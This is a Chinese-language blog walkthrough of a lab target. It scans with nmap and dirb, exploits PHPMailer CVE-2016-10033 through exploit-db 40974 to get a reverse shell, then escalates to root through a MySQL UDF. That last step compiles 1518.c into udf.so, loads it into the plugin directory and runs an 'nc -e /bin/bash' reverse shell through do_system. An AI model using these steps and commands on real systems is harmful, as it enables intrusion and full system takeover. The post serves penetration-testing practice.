udf提权

环境:

kali:192.168.157.128

linux靶机:192.168.157.130

1.使用nmap对当前网段进行扫描

nmap 192.168.157.0/24

发现靶机IP和开放端口

2.对靶机进行详细的服务探测

  • -sS:使用 SYN 扫描(半开放扫描)方式,向目标主机发送 SYN 请求进行端口扫描。
  • -sV:对开放的端口进行版本探测,尝试获取正在运行的服务的版本信息。
  • -T4:设置扫描速度为快速模式。
  • -A:启用一系列的侦测功能,包括操作系统探测、脚本扫描等。

nmap -sS -sV -T4 -A 192.168.157.130

3.使用dirb对80端口对应的网站进行目录爆

dirb http://192.168.157.130

在http:192.168.157.130/vendor/PATH这个路径发现第一个flag

在http:192.168.157.130/vendor/README.md这个文件中发现使用的插件是PHPMailer

在http:192.168.157.130/vendor/SECURITY.md发现了PHPMailer的历史漏洞

翻译http:192.168.157.130/vendor/SECURITY.md页面的内容如下:

关于 PHPMailer 的安全通知:

请负责任地通报发现的任何漏洞,将发现的任何安全问题私下报告给维护人员。

PHPMailer 版本 5.2.18 之前(于 2016 年 12 月发布)存在漏洞 CVE-2016-10033 ,是一种远程代码执行漏洞,由 Dawid Golunski 负责报告。

PHPMailer 版本 5.2.14 之前(于 2015 年 11 月发布)存在漏洞 CVE-2015-8476 ,是一种 SMTP CRLF 注入漏洞,允许任意消息发送。

PHPMailer 版本 5.2.10 之前(于 2015 年 5 月发布)存在漏洞 CVE-2008-5619 ,是一个远程代码执行漏洞,存在于捆绑的 html2text 库中。这个文件已在 5.2.10 中删除,因此如果您使用的版本早于此版本并且使用 html2text 函数,则非常重要的升级并删除此文件。

PHPMailer 版本 2.0.7 和 2.2.1 之前存在漏洞 CVE-2012-0796,是一种电子邮件头注入攻击。

Joomla 1.6.0 不安全地使用 PHPMailer,允许揭示本地文件路径,报告于 CVE-2011-3747。

PHPMailer 未对 SetLanguage 中的 $lang_path 参数进行清理。这本身不是问题,但某些应用程序(如 PHPClassifieds、ATutor)也未能清理传递给它的用户提供的参数,允许半任意本地文件包含,报告于 CVE-2010-4914 、 CVE-2007-2021 和 CVE-2006-5734。

PHPMailer 1.7.2 及更早版本存在可能的 DDoS 漏洞,报告于 CVE-2005-1807。

PHPMailer 1.7 及更早版本(2003 年 6 月)在 SendmailSend 方法中存在可能的漏洞,其中 shell 命令可能无法进行清理。报告于 CVE-2007-3215。

在http:192.168.157.130/vendor/VERSION发现了PHPMailer当前的版本,正好是5.2.16,符合CVE-2016-10033,直接找exp

4.40947文件

searchsploit 40974

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面/3  复制到桌面的文件夹

vi 40974.py   #编辑文件

41行:修改成目标地址
42行:生成的后门文件名称
44行:修改反弹的ip及端口
47行:网站的根目

python 40974.py   #运行Python文件

5.监听本地8888端口

监听之前将kali默认的shell切换为bash

bash

nc -lvnp 8888

同时访问http:192.168.157.130/contact.php,在接着访问http:192.168.157.130/test.ph
p。因为我们想访问contact.php,才会生成test.php的后门。

使用技巧切换为稳定的shell,依次执行一下代码
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+z
stty raw -echofg

6.寻找剩下的flag

find -name flag*

MYSQL-UDF提权

1.查看MySQL进程信息,是root权限运行

ps aux | grep mysql

2.查看在wordpress目录下的wp-config.php文件看mysql的账号及密码

3.查看mysql是否有版本及是否有写入权限及插件目录

mysql -uroot -pR@v3nSecurity 登录mysql
select version();
show global variables like 'secure%'; #首先看一下是否满足写入条件
show variables like 'plugin%';或select @@plugin_dir; #查看插件目

4.将文件1518.c从kali中复制出来,进行本机编译

cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
python -m http.server   # 开启服务

wget http:192.168.86.128:8000/udf.so

mysql -uroot -pR@v3nSecurity
use mysql;
create table foo(line blob); #进入数据库创建数据表
insert into foo values(load_file('/tmp/udf.so')); #插入数据文件
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';     #成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
create function do_system returns integer soname 'udf.so';      #创建自定义函数
do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

select * from mysql.func;    #查看以下创建的函数

本地监听nc -lvnp 4455
mysql中执行:select do_system('nc -nv 192.168.168.128 6666 -e /bin/bash')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/320940.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

webpack执行流程知识点总结

webpack的运行流程 Webpack 的运行流程是一个串行的过程,从启动到结束会依次执行以下流程: 在以上过程中,Webpack 会在特定的时间点广播出特定的事件,插件在监听到感兴趣的事件后会执行特定的逻辑,并且插件可以调用 We…

ArrayBlockingQueue的使用

异步日志打印模型概述 在高并发、高流量并且响应时间要求比较小的系统中同步打印日志已经满足不了需求了,这是因为打印日志本身是需要写磁盘的,写磁盘的操作会暂时阻塞调用打印日志的业务线程,这会造成调用线程的rt增加。 如图所示为同步日…

docker部署ng实现反向代理

场景 按规定尽可能减少开放到外网的端口,所以需要将多个服务部署到一个ip一个端口上。 方案 使用ng实现请求转发。根据http请求中的host与ng配置文件中的server_name匹配,转发到对应的机器上。 在docker上部署三个容器,每个容器中启动一个…

JavaScript系列——Promise

文章目录 概要Promise三种状态状态改变Promise链式调用Promise处理并发promise.all()promise.allSettled()Promise.any()promise.race() 小结 概要 Promise中文翻译过来就是承诺、预示、有可能的意思。 在JavaScript里面,Promise 是一个对象…

2023年山东省职业院校技能大赛高职组信息安全管理与评估 理论题(正式赛)

2023年山东省职业院校技能大赛高职组信息安全管理与评估 理论题 理论技能与职业素养(100分) 2023年山东省职业院校技能大赛高职组信息安全管理与评估 理论题 【注意事项】 Geek极安云科专注技能竞赛技术提升,基于各大赛项提供全面的系统性…

【JAVA】哪些集合类是线程安全的

🍎个人博客:个人主页 🏆个人专栏:JAVA ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 Vector: HashTable: Collections.synchronizedList()、Collections.synchronizedSet()、Collections.syn…

网络地图服务(WMS)详解

文章目录 1.概述2.GetCapabilities3.GetMap4.GetFeatureInfo 阅读本文之前可参考前文:《地图服务器GeoServer的安装与配置》与《GeoServer发布地图服务(WMS、WFS)》。 1.概述 经过前文的介绍,相信我们对WMS/WFS服务已经有了一个非…

收银系统源码收银系统OEM定制开发(收银POS+线上商城+ERP+营销插件+聚合支付)

源码:零售行业线下线上一体化收银系统 1.开发语言 核心开发语言: php、HTML5、JavaPHP开发环境:php7.3安卓端收银、助手: 原生的JavaPC收银端: HTML5vuecssjsnwjs微信小程序助手: 原生小程序开发商城: uniapp后合管理网站: HTML5vueelement-uicssjs 2…

基于Java SSM框架实现在线作业管理系统项目【项目源码】计算机毕业设计

基于java的SSM框架实现在线作业管理系统演示 JSP技术 JSP技术本身是一种脚本语言,但它的功能是十分强大的,因为它可以使用所有的JAVA类。当它与JavaBeans 类进行结合时,它可以使显示逻辑和内容分开,这就极大的方便了运动员的需求…

day01

文章目录 创建Vue实例插值表达式响应式数据常见标签v-htmlv-show v-ifv-if v-else-if v-elsev-onv-bindv-forv-model 综合案例 创建Vue实例 <!--创建Vue实例&#xff0c;初始化渲染1. 准备容器2. 引包&#xff08;官网&#xff09; — 开发版本/生产版本3. 创建Vue实例 ne…

配置DNS

vim /etc/named.conf vim /etc/named.rfc1912.zones cp named.localhost ./kgc.com.zone -p vim kgc.com.zone 设置备用dns服务器 修改主配置文件&#xff0c;并自动同步到从服务器

Zung氏焦虑症测试SAS

SAS被称为焦虑自评量表&#xff0c;是一种用来测量焦虑症状程度以及观察治疗过程中变化情况的心理量表。主要用于评估心理状态&#xff0c;辅助参考数据&#xff0c;也是焦虑评定的标准。焦虑自评量表系是由William W.K. Zung编制的&#xff0c;该量表已成为心理咨询师、心理医…

COBOL语言 :一种主要专注于解决业务问题的编程语言

译文&#xff1a; 什么是COBOL? COBOL是一种主要专注于解决业务问题的编程语言。COBOL的完整形式是面向业务的通用语言。它主要用于公司和政府的商业、金融和行政系统。这种语言也被用来解决许多数据处理问题。 它是由CODASYL(数据系统语言会议)开发的。它被用作大型机中的一…

解决报错:AttributeError: module ‘torch‘ has no attribute ‘_six‘

报错代码&#xff1a; if torch._six.PY3:import importlibimport importlib.utilimport sys这里的意思是判断你的python版本是否是python3&#xff0c;如果是PY37&#xff0c;就是判断你的python版本是不是python3.7&#xff0c;源码&#xff1a; PY37 sys.version_info[0]…

Keil5如何生成反汇编文件

Keil5如何生成反汇编文件 在Keil5界面下点击选项&#xff0c;选择“User”&#xff0c;勾选“After Build/Rebuild”中“RUN #1”&#xff0c;复制fromelf --text -a -c --outputxxx.dis xxx.axf 在Linker栏中找到“Linker Control string”里最后-o后的.axf文件&#xff0c;将…

街机模拟游戏逆向工程(HACKROM)教程:[1]数据的存储与读取

简介 在计算机中&#xff0c;数据存储的介质一直在变化&#xff0c;从最早的穿孔纸带&#xff0c;到现在的固态硬盘。但存储的原理是一直没有变化的&#xff0c;在计算机中&#xff0c;我们所存储的数据&#xff0c;一直都是以二进制的形式被存储存在不同的介质中。 计算机用…

Jenkins基础篇--凭据(Credential)管理

什么是凭据 Jenkins的Credentials直译为证书、文凭&#xff0c;我们可以理解为它是钥匙&#xff0c;用来做某些事情的认证。 如Jenkins 和 GitLab交互时&#xff0c;需要添加GitLab的API令牌和登录凭证。 如Jenkins 添加从节点时&#xff0c;需要添加从节点的登录凭证或者Je…

Linux的DHCP工作原理和dns服务器

目录 一、DHCP原理 1.DHCP的好处 2.DHCP的分配方式 3.实验 二、dns服务器 1.什么是dns 2.dns域名解析 3、在内网搭建dns 一、DHCP原理 DCHP工作原理使用C/S架构 &#xff08;1&#xff09;第一步&#xff0c;客户端广播发送一个discover报文寻找DHCP服务器。 &#…

网络爬虫丨基于requests+mysql爬取猫眼热门电影数据做可视化分析

文章目录 写在前面实验描述实验内容遇到问题 写在后面 写在前面 本期内容&#xff1a;基于requestsmysql爬取猫眼热门电影数据做可视化分析 实验需求 anaconda丨pycharmpython3.11.4requestsmysql 项目下载地址&#xff1a;https://download.csdn.net/download/m0_68111267…

OceanBase 4.2特性解读:Show Trace全链路跟踪,助力快速问题定位与精准诊断

在分布式数据库环境下&#xff0c;慢 SQL 诊断是运维人员面临的一大挑战。在无法及时发现问题根本原因的情况下&#xff0c;可能会严重影响用户体验&#xff0c;甚至会导致业务服务不可用。相对于单机数据库&#xff0c;分布式数据库系统涉及多个节点、多组件的协同工作&#x…